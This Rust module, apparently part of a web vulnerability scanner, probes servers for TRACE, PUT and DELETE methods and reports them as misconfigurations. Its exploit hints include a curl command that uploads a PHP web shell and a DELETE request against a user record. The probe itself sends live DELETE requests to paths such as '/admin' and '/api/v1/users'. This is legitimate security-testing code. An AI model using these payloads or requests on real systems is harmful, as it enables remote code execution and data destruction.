1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
//! HTTP method enumeration probe.
//!
//! Sends OPTIONS to discover allowed methods, then actively verifies
//! dangerous ones (PUT, DELETE, PATCH, TRACE) on common paths.
//!
//! Findings:
//! PUT enabled → potential arbitrary file write / RCE
//! DELETE enabled → data destruction without auth
//! TRACE enabled → cross-site tracing (XST) — credential theft via XSS
//! PATCH enabled → partial update bypass (check auth separately)
use gossan_core::Target;
use reqwest::Client;
use secfinding::{Evidence, Finding, Severity};
// Paths to probe — mix of root, API, upload, and static paths
const PROBE_PATHS: &[&str] = &[
"/",
"/api",
"/api/v1",
"/upload",
"/files",
"/data",
"/api/v1/users",
"/api/v1/files",
"/admin",
];
pub async fn probe(client: &Client, target: &Target) -> anyhow::Result<Vec<Finding>> {
let Target::Web(asset) = target else {
return Ok(vec![]);
};
let base = asset.url.as_str().trim_end_matches('/');
let mut findings = Vec::new();
// Track which dangerous methods we've already reported (avoid spam)
let mut reported_put = false;
let mut reported_delete = false;
let mut reported_trace = false;
for path in PROBE_PATHS {
let url = format!("{}{}", base, path);
// OPTIONS request — server declares what it allows
let options_allow =
if let Ok(resp) = client.request(reqwest::Method::OPTIONS, &url).send().await {
resp.headers()
.get("allow")
.or_else(|| resp.headers().get("access-control-allow-methods"))
.and_then(|v| v.to_str().ok())
.map(|s| s.to_uppercase())
.unwrap_or_default()
} else {
String::new()
};
// ── TRACE ──────────────────────────────────────────────────────────
if !reported_trace && (options_allow.contains("TRACE") || *path == "/") {
if let Ok(resp) = client
.request(reqwest::Method::TRACE, &url)
.header("X-Gossan-Probe", "xst-test")
.send()
.await
{
let status = resp.status().as_u16();
let body = gossan_core::net::bounded_text(resp, 4 * 1024 * 1024)
.await
.unwrap_or_default();
// TRACE echoes the request back — look for our marker or TRACE keyword
if (200..=299).contains(&status)
&& (body.contains("X-Gossan-Probe") || body.to_uppercase().contains("TRACE"))
{
reported_trace = true;
gossan_core::try_push_finding(
crate::misconfig_finding(
target,
Severity::Low,
"HTTP TRACE method enabled — cross-site tracing (XST)",
format!(
"{} responds to TRACE with HTTP {}. \
TRACE echoes all request headers including cookies and \
Authorization. Combined with XSS, an attacker can read \
HttpOnly cookies (XST attack). Disable TRACE on the server.",
url, status
),
)
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: Some(body.chars().take(200).collect::<String>().into()),
})
.tag("http-method")
.tag("xst")
.tag("web")
.exploit_hint(format!(
"curl -s -X TRACE '{}' -H 'Cookie: session=victim_token'",
url
)),
&mut findings,
);
}
}
}
// ── PUT ────────────────────────────────────────────────────────────
if !reported_put && options_allow.contains("PUT") {
// Try to PUT a harmless probe file
let put_url = format!(
"{}{}/gossan-method-probe.txt",
base,
path.trim_end_matches('/')
);
if let Ok(resp) = client
.request(reqwest::Method::PUT, &put_url)
.header("content-type", "text/plain")
.body("gossan-method-probe")
.send()
.await
{
let status = resp.status().as_u16();
if matches!(status, 200 | 201 | 204) {
reported_put = true;
gossan_core::try_push_finding(crate::misconfig_finding(target, Severity::Critical,
format!("HTTP PUT enabled — arbitrary file write at {}", path),
format!("{} accepted an HTTP PUT request (HTTP {}). \
An attacker can upload arbitrary files — including web shells — \
to the server, potentially achieving Remote Code Execution.", put_url, status))
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: None,
})
.tag("http-method").tag("file-upload").tag("rce")
.exploit_hint(format!(
"# Upload a web shell:\ncurl -s -X PUT '{}webshell.php' \\\n \
-H 'Content-Type: application/x-httpd-php' \\\n \
-d '<?php system($_GET[\"cmd\"]); ?>'", &put_url.trim_end_matches("gossan-method-probe.txt"))), &mut findings);
}
}
}
// ── DELETE ─────────────────────────────────────────────────────────
if !reported_delete && options_allow.contains("DELETE") {
let del_url = format!("{}{}", base, path);
if let Ok(resp) = client
.request(reqwest::Method::DELETE, &del_url)
.send()
.await
{
let status = resp.status().as_u16();
// 200/204 = successful delete; 404 = resource not found (but DELETE worked)
// 405/501 = not really enabled despite OPTIONS claim
if matches!(status, 200 | 204 | 404) {
reported_delete = true;
gossan_core::try_push_finding(crate::misconfig_finding(target, Severity::High,
format!("HTTP DELETE method accepted at {}", path),
format!("{} accepted HTTP DELETE (HTTP {}). \
Unauthenticated DELETE on API endpoints allows data destruction — \
bulk record removal, account deletion, or cascading data loss.", del_url, status))
.evidence(Evidence::HttpResponse {
status,
headers: vec![("allow".into(), options_allow.clone().into())],
body_excerpt: None,
})
.tag("http-method").tag("data-destruction").tag("web")
.exploit_hint(format!("curl -s -X DELETE '{}/api/v1/users/1'", base)), &mut findings);
}
}
}
if reported_put && reported_delete && reported_trace {
break;
}
}
Ok(findings)
}